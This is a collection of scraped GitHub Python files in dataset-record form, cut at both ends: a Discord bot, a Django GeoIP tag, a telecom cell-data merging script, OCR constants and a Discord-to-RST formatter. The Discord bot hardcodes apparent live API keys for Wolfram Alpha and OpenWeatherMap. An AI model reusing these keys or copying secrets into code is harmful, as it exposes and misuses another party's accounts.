my_lambs[ir])\r\n                    this_section_itis = np.append(this_section_itis,next_iti*1000)\r\n                    this_section_times = np.append(this_section_times,sum(this_section_itis))\r\n                # Cut out spikes that went past the bin\r\n                while this_section_times[-1] > res:\r\n                    this_section_times = this_section_times[:-1]\r\n            if len(this_section_times) > 1:\r\n                tr_spks[it] = np.append(tr_spks[it],np.round(this_section_times[1:] + (res/2) + min_t))\r\n        # End IR loop\r\n    # End IT loop\r\n    \r\n    n_spks = [len(tr_spks[i]) for i in range(len(tr_spks))]\r\n    all_spks = np.empty([n_trs,max(n_spks)])*np.nan\r\n    for it in range(n_trs):\r\n        all_spks[it,0:n_spks[it]] = tr_spks[it] + offset\r\n    \r\n    return all_spks","repo_name":"klowe2013/PythonCode","sub_path":"klGenFuns.py","file_name":"klGenFuns.py","file_ext":"py","file_size_in_byte":4412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"74896228908","text":"import json\nfrom sys import prefix\nimport discord \nimport os\nimport requests\nfrom dotenv import load_dotenv\nfrom discord.ext import commands\nimport random\nimport wolframalpha\nimport logging\n\nintents = discord.Intents.default()\nintents.members = True\n\nbot = commands.Bot(command_prefix=\"!\", intents=intents)\n\nload_dotenv()\nTOKEN = os.getenv('BOT_TOKEN')\nGUILD = os.getenv('GUILD')\n\n\ndef get_quote():\n    print(\"searching........\")\n    response = requests.get(\"https://zenquotes.io/api/random\")\n    json_data = json.loads(response.text)[0]\n    return (f\"{json_data['q']}\\n  ~ {json_data['a']}\")\n\n\n@bot.event\nasync def on_ready():\n    guild = discord.utils.find(lambda guild: guild.name == GUILD, bot.guilds)\n\n    print(\"Yo we logged in as {0.user}\".format(bot))\n    print(f'{guild.name}(id: {guild.id})')\n\n    # print(f'Guild Members:')\n    # async for member in guild.fetch_members(limit=150):\n    #     print(f\" -{member.name}\")\n    \n@bot.command(name=\"motivate\", help=\"-- Responds with a motivational  quote\")\nasync def motivator(ctx):\n    quote = get_quote()\n    print(quote)\n    await ctx.send(quote)\n\n\n\n@bot.command(name=\"flip-coin\", help=\" -- Flips a coin\")\nasync def flip(ctx):\n    coin_face = random.choice([\"Head\", \"Tail\"])\n    await ctx.send(coin_face)\n\n@bot.event\nasync def on_member_join(member):\n    await member.create_dm()\n    await member.dm_channel.send(\n        f\"Hello {member.name}, welcome to the XEVR server\"\n    )\n\n@bot.command(name=\"create-channel\", help=\" -- Create new channel with name\")\n@commands.has_role(\"admin\")\nasync def create_channel(ctx, channel_name=\"XEVR\"):\n    guild = ctx.guild\n    existing_channel = discord.utils.get(guild.channels, name=channel_name)\n    if not existing_channel:\n        print(f'Creating a new channel: {channel_name}')\n        await guild.create_text_channel(channel_name)\n\n@bot.event\nasync def on_command_error(ctx, error):\n    if isinstance(error, commands.errors.CheckFailure):\n        await ctx.send('You do not have the correct role for this command.')\n\n@bot.command(name=\"question\", help=\" -- Ask me any academic question\")\nasync def question(ctx, *question):\n    question = \" \".join(list(question))\n    app_id = \"E8H76X-T8V8UHPUY2\"\n    client = wolframalpha.Client(app_id)\n    req = client.query(question)\n    print(\"looking for answers.....\")\n    res = next(req.results).text\n    await ctx.send(res)\n\n@bot.command(name=\"weather\", help=\"get weather by adding any city\")\nasync def weather(ctx, *city):\n    loc = \" \".join(list(city))\n    apiKey = 'ea21c2ee64bf2fd0f38674dc16e62852'\n    try:\n        req = requests.get(f\"https://api.openweathermap.org/data/2.5/weather?q={loc}&appid={apiKey}\")\n        data = json.loads(req.text)\n        weather = {\n        'weather': f\"Atmosphere:  {data['weather'][0]['main']}\",\n            'country': f\"Country:  {data['sys']['country']}\",\n            'location': f\"City:  {data['name']}\",\n            'weatherDesc': f\"Desc:  {data['weather'][0]['description']}\",\n            'temperature': f\"Temp:  {round(data['main']['temp'] - 273.15)}°С\",\n            'humidity': f\"Humidity:  {data['main']['humidity']}%\",\n            'feel': f\"Feels like:  {round(data['main']['feels_like'] - 273.15)}°С\",\n            'windSpeed': f\"Wind:  {data['wind']['speed']}km/h\" \n        }\n        msg = f\"{'*'*20}\\nWeather in {loc.title()}\\n{'*'*20}\\n\"\n        for i in weather:\n            msg += weather[i] + \"\\n\\n\"\n        await ctx.send(msg)\n    except:\n        logging.error(\"could not find weather on open weather\")\n        await ctx.send(\"Errm... couldn't find weather, check spelling and/or try again 😬😬\")\n\n   \n# @bot.event\n# async def on_message(message):\n#     if message.author == bot.user:\n#         return\n\n#     if message.content.startswith('hello'):\n#         await message.channel.send('Hello friend!!')\n\nprint(\"*\"*20)\nbot.run(TOKEN)\n\n","repo_name":"dglitxh/discord","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":3841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"1923687072","text":"from ipware.ip import get_real_ip, get_ip\nfrom django.template import  RequestContext\nfrom django.contrib.gis.geoip import GeoIP\nfrom django import template\n\nregister = template.Library()\n@register.simple_tag\ndef current_location(request):\n    ip = get_real_ip(request)\n    g = GeoIP()\n    if ip is not None:\n       location = g.city(ip)\n       return  str(location['city'])+', '+str(location['country_name'])\n    else:\n        return ''\n","repo_name":"tantuno/students","sub_path":"students/templatetags/students_extra.py","file_name":"students_extra.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"6414709323","text":"import os\nimport sys\nimport glob\nimport numpy as np\nimport pandas as pd\nfrom datetime import datetime\nfrom os.path import getmtime\nimport ImportDF\nimport unique\nimport Verificar_OI\nimport ShortName\nimport CheckPCI\nimport HWBlanks\nimport Mod\nimport HW_ConsystemCheck\n\n\ndef processArchive():\n  \n  script_dir = os.path.abspath(os.path.dirname(sys.argv[0]) or '.')\n  csv_path = os.path.join(script_dir, 'export/'+ 'DUMP4G' +'/' + 'DUMP4G' + '.csv')\n\n\n  MOBILESITE_Col_list = ['Short1','NAME','ANF','CIDADE','LOCATION','LAT','LONG','PROVISION','IMPLEMENTATION']\n  MOBILESITE_path = '/export/MOBILESITE'\n  MOBILESITE = ImportDF.ImportDF(MOBILESITE_Col_list,MOBILESITE_path)\n\n\n  ERICSSON_Col_list = ['VENDOR','NodeId','SHORT','SITE','CELL','SYNCSTATUS','ADM STATE','OP STATE','FREQ CELL','EARFCNDL','BW DL','TAC','CELL ID','PCI','transmissionMode']\n  ERICSSON_path = '/export/ERICSSON'\n  ERICSSON = ImportDF.ImportDF(ERICSSON_Col_list,ERICSSON_path)\n\n  freq_Short = ERICSSON.copy()\n  #freq_Short['FREQ CELL'].astype(int) #VERIFICAR ERROR SEM FREQ na coluna\n  freq_Short = freq_Short.sort_values(['SHORT','FREQ CELL'], ascending = [True,True])\n  freq_Short['BW SITE'] = freq_Short['EARFCNDL'] + '[' + freq_Short['BW DL'] + ']'\n\n  freq_Short['SHORT2'] = freq_Short['SHORT']\n  freq_Short = freq_Short.fillna('').groupby(['SHORT2'], as_index=True).agg('|'.join)\n\n  KeepListCompared = ['SHORT','FREQ CELL','BW SITE']\n  locationBase_comparePMO = list(freq_Short.columns)\n  DellListComparede = list(set(locationBase_comparePMO)^set(KeepListCompared))\n  freq_Short = freq_Short.drop(DellListComparede,1)\n  freq_Short = freq_Short.drop_duplicates()\n\n\n  removefromloop = []\n  locationBase_top = list(freq_Short.columns)\n  res = list(set(locationBase_top)^set(removefromloop))\n  for i in res: \n      for index, row in freq_Short.iterrows():\n          freq_Short.at[index, i] = '|'.join(unique.unique_list(freq_Short.at[index, i].split('|'))) \n  freq_Short.rename(columns={'FREQ CELL':'FREQ SITE'},inplace=True)\n\n\n\n\n\n  eNBId_Col_list = ['NodeId','ENODEB ID']\n  eNBId_path = '/export/eNBId'\n  eNBId = ImportDF.ImportDF(eNBId_Col_list,eNBId_path)\n\n  \n  ANTENNA_Col_list = ['CELL','[S]','MIMO']\n  ANTENNA_path = '/export/ANTENNA'\n  ANTENNA = ImportDF.ImportDF(ANTENNA_Col_list,ANTENNA_path)\n\n\n  #PLMN_Col_list = ['NodeId','PLMN'] keep\n  PLMN_Col_list = ['NodeId','eNodeBPlmnId']\n  PLMN_path = '/export/PLMN'\n  PLMN = ImportDF.ImportDF(PLMN_Col_list,PLMN_path)\n  PLMN['PLMN'] = PLMN['eNodeBPlmnId'].str[-3:-1]\n  PLMN = PLMN.drop(['eNodeBPlmnId'],1)\n  \n\n  Type_Col_list = ['CELL','MIMO2']\n  Type_path = '/export/Type'\n  Type = ImportDF.ImportDF(Type_Col_list,Type_path)\n\n  \n  TypeQtdMimo_Col_list = ['SHORT','MIMO(QTD)']\n  TypeQtdMimo_path = '/export/Type'\n  TypeQtdMimo = ImportDF.ImportDF(TypeQtdMimo_Col_list,TypeQtdMimo_path)\n  \n\n  SI_Col_list = ['CS_NAME','NGNIS_CELL','ANTENA_MODEL','AZIMUTH','ALTURA','MECHANICAL_TILT','DT_ATIV_MOBILE_SITE']\n  SI_path = '/export/SI'\n  SI = ImportDF.ImportDF(SI_Col_list,SI_path)\n\n  Ancora5G_Col_list = ['EUtranCellFDDId','endcAllowedPlmnList']\n  Ancora5G_path = '/export/Ancora5G'\n  Ancora5G = ImportDF.ImportDF(Ancora5G_Col_list,Ancora5G_path)\n\n\n  Sinal5G_Col_list = ['EUtranCellFDDId','primaryUpperLayerInd','additionalUpperLayerIndList']\n  Sinal5G_path = '/export/Sinal5G'\n  Sinal5G = ImportDF.ImportDF(Sinal5G_Col_list,Sinal5G_path)\n  Sinal5G['additionalUpperLayerIndList2'] = Sinal5G['additionalUpperLayerIndList'].str.split(',').str[1]\n\n\n  HW_Col_list = ['NodeId','EUtranCellFDD','FieldReplaceableUnitId','productName','serialNumber','productionDate','Baseband(QTD)','DUS(QTD)','AIR(QTD)']\n  HW_path = '/export/HW_ALL'\n  HW = ImportDF.ImportDF(HW_Col_list,HW_path)\n  HW.rename(columns={'NodeId':'NodeId2'},inplace=True)\n\n\n  HW_ALL_SHORT_Col_list = ['SHORT','productName']\n  HW_ALL_SHORT_path = '/export/HW_ALL_SHORT'\n  HW_ALL_SHORT = ImportDF.ImportDF(HW_ALL_SHORT_Col_list,HW_ALL_SHORT_path)\n  HW_ALL_SHORT.rename(columns={'productName':'productName_ALL'},inplace=True)\n\n\n  RWRtoNR_Col_list = ['EUtranCellFDDId','endcCheckForRwrToNRDisabled','rwrToNRAllowed']\n  RWRtoNR_path = '/export/RWRtoNR'\n  RWRtoNR = ImportDF.ImportDF(RWRtoNR_Col_list,RWRtoNR_path)\n  RWRtoNR.rename(columns={'EUtranCellFDDId':'EUtranCellFDDId_RWRtoNR'},inplace=True)\n\n\n  B1GUtra_Col_list = ['EUtranCellFDDId','B1GUtra']\n  B1GUtra_path = '/export/B1GUtra'\n  B1GUtra = ImportDF.ImportDF(B1GUtra_Col_list,B1GUtra_path)\n  B1GUtra.rename(columns={'EUtranCellFDDId':'EUtranCellFDDId_B1GUtra'},inplace=True)\n\n  B1NR_Col_list = ['EUtranCellFDDId','B1NR']\n  B1NR_path = '/export/B1NR'\n  B1NR = ImportDF.ImportDF(B1NR_Col_list,B1NR_path)\n  B1NR.rename(columns={'EUtranCellFDDId':'EUtranCellFDDId_B1NR'},inplace=True)\n\n\n\n\n  HW_Mimo = HW.loc[HW['FieldReplaceableUnitId'].str.contains('AIR')]\n  HW_Mimo_Col = HW_Mimo.columns\n  for i in HW_Mimo_Col:\n    HW_Mimo.rename(columns={i:i+'_Mimo'},inplace=True)\n\n  \n\n  #Tratar SLS\n  ERICSSON.loc[((ERICSSON['CELL'].str[:3] == '4D-') | (ERICSSON['CELL'].str[:3] == '4C-'))& (np.array(list(map(len,ERICSSON['CELL'].astype(str).values))) == 17),['NodeId']] = ERICSSON['CELL'].str[:9]\n  \n  ERICSSON.loc[((ERICSSON['CELL'].str[:3] == '4D-') | (ERICSSON['CELL'].str[:3] == '4C-'))& (np.array(list(map(len,ERICSSON['CELL'].astype(str).values))) == 17),['SITE']] = '4D-' + ERICSSON['CELL'].str[3:12]\n\n  \n\n  ERICSSON = pd.merge(ERICSSON,eNBId, how='left',left_on=['NodeId'],right_on=['NodeId'])\n  ERICSSON = pd.merge(ERICSSON,freq_Short, how='left',left_on=['SHORT'],right_on=['SHORT'])\n\n  #corrigir 4C-\n  ERICSSON['CELL2']= ERICSSON['CELL']\n  ERICSSON.loc[ERICSSON['CELL2'].str[:3] == '4C-',['CELL2']] = '4G-' + ERICSSON['CELL2'].str[3:]\n  ERICSSON = pd.merge(ERICSSON,ANTENNA, how='left',left_on=['CELL2'],right_on=['CELL'])\n  ERICSSON = ERICSSON.drop(['CELL2','CELL_y'],1)\n  ERICSSON.rename(columns = {'CELL_x':'CELL'}, inplace = True)\n\n  \n  ERICSSON = pd.merge(ERICSSON,Type, how='left',left_on=['CELL'],right_on=['CELL'])\n  ERICSSON.loc[~ERICSSON['MIMO2'].isna(),['MIMO']] = ERICSSON['MIMO2']\n  ERICSSON = ERICSSON.drop(['MIMO2'],1)\n\n  #Corrigir short no Mobilesite antes de usar como referencia\n  ERICSSON = pd.merge(ERICSSON,PLMN, how='left',left_on=['NodeId'],right_on=['NodeId'])\n  ERICSSON = pd.merge(ERICSSON,MOBILESITE, how='left',left_on=['SITE'],right_on=['NAME'])\n  ERICSSON = ERICSSON.drop(['Short1'],1)\n\n\n  ERICSSON = pd.merge(ERICSSON,SI, how='left',left_on=['CELL'],right_on=['CS_NAME'])\n  ERICSSON = ERICSSON.drop(['CS_NAME'],1)\n  ERICSSON = ERICSSON.sort_values(['SHORT','CELL'], ascending = [True,True])\n\n  ERICSSON = pd.merge(ERICSSON,Ancora5G, how='left',left_on=['CELL'],right_on=['EUtranCellFDDId'])\n\n  ERICSSON = pd.merge(ERICSSON,Sinal5G, how='left',left_on=['CELL'],right_on=['EUtranCellFDDId'])\n\n  ERICSSON = pd.merge(ERICSSON,HW, how='left',left_on=['CELL'],right_on=['EUtranCellFDD'])\n  \n  ERICSSON = pd.merge(ERICSSON,HW_Mimo, how='left',left_on=['NodeId'],right_on=['NodeId2_Mimo'])\n  \n  ght = ['NodeId2','EUtranCellFDD','FieldReplaceableUnitId','productName','serialNumber','productionDate','Baseband(QTD)','DUS(QTD)','AIR(QTD)']\n\n\n  for i in ght:\n    ERICSSON.loc[ERICSSON[i].isna(),[i]] = ERICSSON[i+'_Mimo']\n    ERICSSON = ERICSSON.drop([i+'_Mimo'],1)\n\n  ERICSSON = pd.merge(ERICSSON,HW_ALL_SHORT, how='left',left_on=['SHORT'],right_on=['SHORT'])\n  ERICSSON = pd.merge(ERICSSON,TypeQtdMimo, how='left',left_on=['SHORT'],right_on=['SHORT'])\n  \n\n  mimoSector = ERICSSON.loc[ERICSSON['MIMO'] == 'MASSIVE']\n\n  \n  KeepList2 = ['SHORT', 'CELL']\n  locationBase_top = list(mimoSector.columns)\n  res = list(set(locationBase_top)^set(KeepList2))\n  mimoSector = mimoSector.drop(res,axis=1)\n  \n  mimoSector['CELL'] = mimoSector['CELL'].str[-1:]\n  mimoSector['CELL'] = mimoSector['CELL'].str.upper().map({'A':'A', 'B':'B', 'C':'C','I':'A', 'J':'B', 'K':'C'})\n  mimoSector = mimoSector.drop_duplicates()\n  mimoSector = mimoSector.reset_index(drop=True)\n  mimoSector = mimoSector.sort_values(['SHORT','CELL'], ascending = [True,True])\n\n  mimoSector['CELL2'] = mimoSector['SHORT']\n  mimoSector = mimoSector.fillna('').groupby(['CELL2'], as_index=True).agg('|'.join)\n  removefromloop = []\n  locationBase_top = list(mimoSector.columns)\n  res = list(set(locationBase_top)^set(removefromloop))\n  for i in res: \n      for index, row in mimoSector.iterrows():\n          mimoSector.at[index, i] = '|'.join(unique.unique_list(mimoSector.at[index, i].split('|')))\n  mimoSector.rename(columns={'CELL':'CELL(Mimo)','SHORT':'SHORTM'},inplace=True)\n\n  ERICSSON = pd.merge(ERICSSON,mimoSector, how='left',left_on=['SHORT'],right_on=['SHORTM'])\n\n\n  ERICSSON = pd.merge(ERICSSON,RWRtoNR, how='left',left_on=['CELL'],right_on=['EUtranCellFDDId_RWRtoNR'])\n  ERICSSON = pd.merge(ERICSSON,B1GUtra, how='left',left_on=['CELL'],right_on=['EUtranCellFDDId_B1GUtra'])\n  ERICSSON = pd.merge(ERICSSON,B1NR, how='left',left_on=['CELL'],right_on=['EUtranCellFDDId_B1NR'])\n\n  \n  #tratar HW blanks\n  ERICSSON = HWBlanks.processArchive(ERICSSON)\n\n  #Consystem check [Em desenvolvimento]\n  #ERICSSON = HW_ConsystemCheck.processArchive(ERICSSON)\n  #Verificar Modernizados[em desenvolvimento]\n  #ERICSSON = Mod.processArchive(ERICSSON)\n\n  \n  ERICSSON = Verificar_OI.processArchive(ERICSSON)\n  ERICSSON = CheckPCI.processArchive(ERICSSON)\n  \n  \n\n\n\n\n\n\n  ERICSSON.to_csv(csv_path,index=False,header=True,sep=';')\n  \n  \n\n\n","repo_name":"dwoloszin/DUMP_4G","sub_path":"DUMP.py","file_name":"DUMP.py","file_ext":"py","file_size_in_byte":9324,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"720146095","text":"#!/usr/bin/env python3\n\nimport glob\nimport numpy\nimport cv2\nimport numpy as np\n\nDIGITS = \"0123456789\"\nLETTERS = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\nCHARS = list(DIGITS + LETTERS)\nCHAR_SET_LENGTH = len(CHARS)\n\nOUTPUT_CHAR_LENGTH = 10\nOUTPUT_HEIGHT = 28\nOUTPUT_WIDTH = 80\n\nfonts = [\"fonts/times.ttf\", \"fonts/Arial.ttf\",\n         \"fonts/WKGOJanb.TTF\", \"fonts/miso-chunky.otf\",\n         \"fonts/msyh.ttf\"]\n\nFONT_HEIGHT = 32  # Pixel size to which the chars are resized\n\nBATCH_SIZE = 60\nBATCHES = 1000\nTRAIN_SIZE = BATCH_SIZE * BATCHES\nTEST_SIZE = 100\n","repo_name":"Sanster/deeplearning","sub_path":"common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"19971098816","text":"import re\nimport textwrap\nfrom urllib.parse import urlparse\nfrom functools import lru_cache\nimport pathlib\nimport requests\n\nimport gspread\nfrom gspread.utils import a1_to_rowcol\n\n\n__all__ = ['Bot', 'TableOfContents', 'Section', 'InlineLiteral', 'PVMESpreadsheet',\n           'LineBreak', 'ListSection', 'Emoji', 'EmbedLink', 'DiscordMarkdownHTML', 'Cleanup', 'CodeBlock']\n\n# set the credentials.json file path, by default, the file is searched in the pvme_docs_generator/ folder\nmodule_path = pathlib.Path(__file__).parent.absolute()\nCREDENTIALS_FILE = \"{}/credentials.json\".format(module_path)\n\n# set the PVME price spreadsheet link (full link)\nPVME_SPREADSHEET = \"https://docs.google.com/spreadsheets/d/1nFepmgXBFh1Juc0Qh5nd1HLk50iiFTt3DHapILozuIM/edit#gid=0\"\n\n\ndef align_inline_substitution(msg_content, substitution, start, end):\n    if start > 0:\n        if msg_content[start-1] not in (' ', '\\t', '\\n'):\n            substitution = \" {}\".format(substitution)\n\n    if end < len(msg_content):\n        if msg_content[end] not in (' ', '\\t', '\\n'):\n            substitution = \"{} \".format(substitution)\n\n    return substitution\n\n\nclass SphinxRstMixIn(object):\n\n    @staticmethod\n    def format_sphinx_html(msg, doc_info):\n        pass\n\n\nclass Bot:\n    @staticmethod\n    def format_sphinx_html(line, doc_info):\n        if line == '.':\n            formatted_line = ''\n\n        elif line.startswith(\".img:\"):\n            # todo: use embed parser since images can also be gifs/mp4 etc\n            image_link = line[len(\".img:\"):]\n            formatted_line = \"|{}|\".format(image_link)\n            doc_info.add(textwrap.dedent('''\\\n.. |{}| image:: {}\n            '''.format(image_link, image_link)))\n\n        elif line.startswith(\".tag:\"):\n            formatted_line = ''\n\n        elif line.startswith(\".pin:\"):\n            formatted_line = ''\n\n        elif line.startswith(\"..\"):\n            formatted_line = '.'\n\n        else:\n            formatted_line = ''\n\n        return formatted_line\n\n\n\n\n\nclass Section(SphinxRstMixIn):\n    # todo: possibly more precise pattern matching instead of startswith(\"> \")\n    # PATTERN = re.compile(r\"^> [_*]*([a-zA-Z0-9<>@ ]+)\")\n\n    @staticmethod\n    def format_sphinx_html(msg, doc_info):\n        content_lines = msg.content.splitlines()\n        for i, line in enumerate(content_lines):\n            if line.startswith(\"> \"):\n                # remove markdown html tags and spaces before emojis (e.g. \"> ** |melee| Melee**\" > \"Melee\"\n                section_name = re.sub(r\"[*_~`]\", '', line[len(\"> \"):]).lstrip()\n\n                content_lines[i] = textwrap.dedent('''\\\n{}  \n{}\n                '''.format(section_name, len(section_name) * '-'))\n\n        msg.content = '\\n'.join(content_lines)\n\n\nclass TableOfContents(SphinxRstMixIn):\n\n    @staticmethod\n    def format_sphinx_html(msg, doc_info):\n        content_lines = msg.content.splitlines()\n        for i, line in enumerate(content_lines):\n            if line.startswith(\"> \"):\n                section_name = re.sub(r\"[*_~`]\", '', line[len(\"> \"):])\n                if section_name.lower() == \"table of contents\":\n                    msg.content = '\\n'.join(content_lines[:i])\n                    break\n\n\nclass Emoji(SphinxRstMixIn):\n    PATTERNS = [(re.compile(r\"<:([^:]{2,}):([0-9]+)>\"), \".png\"),\n                (re.compile(r\"<:a:([^:]+):([0-9]+)>\"), \".gif\")]\n\n    @staticmethod\n    def format_sphinx_html(msg, doc_info):\n        for pattern, extension in Emoji.PATTERNS:\n            matches = [match for match in re.finditer(pattern, msg.content)]\n            for match in reversed(matches):\n                substitution = \"|{}{}|\".format(match.group(2), extension)\n                substitution_aligned = align_inline_substitution(msg.content, substitution, match.start(), match.end())\n                msg.content = msg.content[:match.start()] + substitution_aligned + msg.content[match.end():]\n\n                doc_info.add(textwrap.dedent('''\\\n.. {} image:: https://cdn.discordapp.com/emojis/{}{}?v=1\n    :width: 1.375em\n    :height: 1.375em\n                '''.format(substitution, match.group(2), extension)))\n\n\nclass PVMESpreadsheet(SphinxRstMixIn):\n    # $data_pvme:Perks!H11$\n    PATTERN = re.compile(r\"\\$data_pvme:([^!]+)!([^$]+)\\$\")\n\n    @staticmethod\n    @lru_cache(maxsize=None)\n    def obtain_pvme_spreadsheet_data(worksheet):\n\n        gc = gspread.service_account(filename=CREDENTIALS_FILE)\n        sh = gc.open_by_url(PVME_SPREADSHEET)\n\n        worksheet = sh.worksheet(worksheet)\n        return worksheet.get_all_values()\n\n    @staticmethod\n    def format_sphinx_html(msg, doc_info):\n        matches = [match for match in re.finditer(PVMESpreadsheet.PATTERN, msg.content)]\n        for match in reversed(matches):\n            worksheet_data = PVMESpreadsheet.obtain_pvme_spreadsheet_data(match.group(1))\n            row, column = a1_to_rowcol(match.group(2))\n            price_formatted = \"{}\".format(worksheet_data[row-1][column-1])\n            msg.content = msg.content[:match.start()] + price_formatted + msg.content[match.end():]\n\n\nclass InlineLiteral(SphinxRstMixIn):\n    PATTERN = re.compile(r\"`\")\n\n    @staticmethod\n    def format_sphinx_html(msg, doc_info):\n        msg.content = re.sub(InlineLiteral.PATTERN, \"``\", msg.content)\n\n\nclass CodeBlock(SphinxRstMixIn):\n    \"\"\"\n    NOTE: alternatively, discord markdown html formatting can be used for code blocks.\n          the rst style code blocks are limited in styling (e.g. no bold/underline code blocks)\n          they also do not allow for the line after the code block to start with a tab.\n          That said the styling looks a lot better and it is advised to use rst styling wherever possible\n\n    \"\"\"\n    PATTERN = re.compile(r\"```\")\n\n    @staticmethod\n    def format_sphinx_html(msg, doc_info):\n        matches = [match for match in re.finditer(CodeBlock.PATTERN, msg.content)]\n\n        if len(matches) % 2 == 1:\n            matches = matches[:-1]\n\n        end = None\n        for index, match in enumerate(reversed(matches)):\n            if index % 2:\n                start = match\n                code_block_lines = msg.content[start.start()+len(\"```\"):end.end()-len(\"```\")].splitlines()\n                formatted_codeblock = textwrap.dedent('''\\\n\n.. code:: none\n\n    {}\n           \n                '''.format('\\n    '.join(code_block_lines)))\n                msg.content = msg.content[:start.start()] + formatted_codeblock + msg.content[end.end():]\n            else:\n                end = match\n\n\nclass LineBreak(SphinxRstMixIn):\n    PATTERN = re.compile(r\"_ _\")\n\n    @staticmethod\n    def format_sphinx_html(msg, doc_info):\n        msg.content = re.sub(LineBreak.PATTERN, '', msg.content)\n\n\nclass ListSection(SphinxRstMixIn):\n    # todo: better approach to remove the weirdchamp symbol (lstrip doesn't work)\n    WEIRDCHAMP_PATTERN = re.compile(r\"︎\")\n    PATTERN = re.compile(r\"[⬥•▪]\")\n\n    @staticmethod\n    def format_sphinx_html(msg, doc_info):\n        msg.content = re.sub(ListSection.WEIRDCHAMP_PATTERN, ' ', msg.content)\n        msg.content = re.sub(ListSection.PATTERN, '-', msg.content)\n\n\ndef generate_embed(link):\n    \"\"\"Obtain the html embed link from a raw (unparsed) link\n\n    :param link: raw unparsed link\n    :return: html formatted embed link or None (link cannot be parsed)\n    \"\"\"\n    # todo: clips.twitch and twitch/videos are not formatted correctly\n    # youtu.be\n    match = re.match(r\"https?://youtu\\.be/([a-zA-Z0-9_\\-]+)\", link)\n    if match:\n        return \"<iframe class=\\\"media\\\" width=\\\"560\\\" height=\\\"315\\\" src=\\\"https://www.youtube.com/embed/{}\\\" frameborder=\\\"0\\\" allow=\\\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\\\" allowfullscreen></iframe>\".format(match.group(1))\n\n    # youtube.com\n    match = re.match(r\"https?://(www\\.)?youtube\\.[a-z0-9.]*?/watch\\?([0-9a-zA-Z$\\-_.+!*'(),;/?:@=&#]*&)?v=([a-zA-Z0-9_\\-]+)\", link)\n    if match:\n        return \"<iframe class=\\\"media\\\" width=\\\"560\\\" height=\\\"315\\\" src=\\\"https://www.youtube.com/embed/{}\\\" frameborder=\\\"0\\\" allow=\\\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\\\" allowfullscreen></iframe>\".format(match.group(3))\n\n    # clips.twitch.tv\n    match = re.match(r\"https?://clips\\.twitch\\.tv/([a-zA-Z]+)\", link)\n    if match:\n        return \"<iframe class=\\\"media\\\" src=\\\"https://clips.twitch.tv/embed?autoplay=false&clip={}\\\" frameborder=\\\"0\\\" allowfullscreen=\\\"true\\\" scrolling=\\\"no\\\" height=\\\"315\\\" width=\\\"560\\\"></iframe>\".format(match.group(1))\n\n    # twitch.tv/videos\n    match = re.match(r\"https?://www\\.twitch\\.tv/videos/([0-9a-zA-Z]+)\", link)\n    if match:\n        return \"<iframe class=\\\"media\\\" src=\\\"https://player.twitch.tv/?autoplay=false&video=v{}\\\" frameborder=\\\"0\\\" allowfullscreen=\\\"true\\\" scrolling=\\\"no\\\" height=\\\"335\\\" width=\\\"550\\\"></iframe>\".format(match.group(1))\n\n    # streamable\n    match = re.match(r\"https?://streamable.com/([a-zA-Z0-9]+)\", link)\n    if match:\n        return \"<iframe class=\\\"media\\\" src=\\\"https://streamable.com/o/{}\\\" frameborder=\\\"0\\\" scrolling=\\\"no\\\" width=\\\"560\\\" height=\\\"315\\\" allowfullscreen></iframe>\".format(match.group(1))\n\n\nclass EmbedLink(SphinxRstMixIn):\n    PATTERN = re.compile(\n        r'(?:[^<])' # check for valid embed links (don't start with '<')\n        r'((?:http|ftp)s?://'  # http:// or https://\n        r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\\.)+(?:[A-Z]{2,6}\\.?|[A-Z0-9-]{2,}\\.?)|'  # domain...\n        r'localhost|'  # localhost...\n        r'\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}|'  # ...or ipv4\n        r'\\[?[A-F0-9]*:[A-F0-9:]+\\]?)'  # ...or ipv6\n        r'(?::\\d+)?'  # optional port\n        r'(?:/?|[/?]\\S+)'\n        r'(?:[^ \\n\\t\\r]*))', re.IGNORECASE)    # anything at the end of the link\n\n    @staticmethod\n    def format_sphinx_html(msg, doc_info):\n        for link in re.findall(EmbedLink.PATTERN, msg.content):\n            html_embed = generate_embed(link)\n\n            if html_embed:\n                substitution = \"|{}|\".format(link)\n                msg.embeds.append(substitution)\n\n                doc_info.add(textwrap.dedent('''\\\n.. {} raw:: html\n    \n    {}\n                '''.format(substitution, html_embed)))\n\n\nclass DiscordMarkdownHTML(SphinxRstMixIn):\n    \"\"\"(Experimental) support for full discord markdown style html output.\n    This formatting is a WiP and is generally not advised according to the RST documentation:\n    https://docutils.sourceforge.io/docs/ref/rst/roles.html#raw\n\n    Example:\n    .. |<u>| raw:: html\n\n        <u>\n\n    .. |</u>| raw:: html\n\n        </u>\n\n    .. |<b>| raw:: html\n\n        <b>\n\n    .. |</b>| raw:: html\n\n        </b>\n\n    hello |<b>| bold |<u>| bold-underline ``bold-underline-mono`` |</b>| underline |</u>| end\n    \"\"\"\n    PATTERNS = [\n        (re.compile(r\"\\*\\*\"), \"|<b>|\", \"|</b>|\", {\n            textwrap.dedent('''\\\n.. |<b>| raw:: html\n\n    <b>\n            '''),\n            textwrap.dedent('''\\\n.. |</b>| raw:: html\n\n    </b>\n            ''')\n         }),\n        (re.compile(r\"__\"), \"|<u>|\", \"|</u>|\", {\n            textwrap.dedent('''\\\n.. |<u>| raw:: html\n\n    <u>\n            '''),\n            textwrap.dedent('''\\\n.. |</u>| raw:: html\n\n    </u>\n            ''')\n        }),\n        (re.compile(r\"\\*\"), \"|<i>|\", \"|</i>|\", {\n            textwrap.dedent('''\\\n.. |<i>| raw:: html\n\n    <i>\n            '''),\n            textwrap.dedent('''\\\n.. |</i>| raw:: html\n\n    </i>\n            ''')\n         }),\n        (re.compile(r\"```\"), \"|<code>|\", \"|</code>|\", 